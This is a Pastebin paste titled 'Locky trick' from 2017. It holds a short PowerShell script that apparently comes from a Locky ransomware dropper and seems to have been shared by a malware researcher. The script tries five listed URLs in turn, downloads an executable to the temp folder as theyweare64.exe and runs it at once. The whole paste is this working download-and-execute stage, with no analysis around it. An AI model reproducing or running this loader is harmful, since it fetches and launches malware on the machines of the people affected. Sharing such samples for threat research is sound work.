James_inthe_box

Locky trick

Oct 24th, 2017
380
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.48 KB | None | 0 0
  1. $urls = "http://aurea-art.ru/incrHG32","http://castellodimontegioco.com/incrHG32","http://nl.flipcapella.com/incrHG32","http://dotecnia.cl/incrHG32","http://christakranzl.at/incrHG32"
  2. foreach($url in $urls){
  3. Try
  4. {
  5. Write-Host $url
  6. $fp = "$env:temp\theyweare64.exe"
  7. Write-Host $fp
  8. $wc = New-Object System.Net.WebClient
  9. $wc.DownloadFile($url, $fp)
  10. Start-Process $fp
  11. break
  12. }
  13. Catch
  14. {
  15. Write-Host $_.Exception.Message
  16. }
  17.  
  18.  
  19. }
Advertisement
Add Comment
Please, Sign In to add comment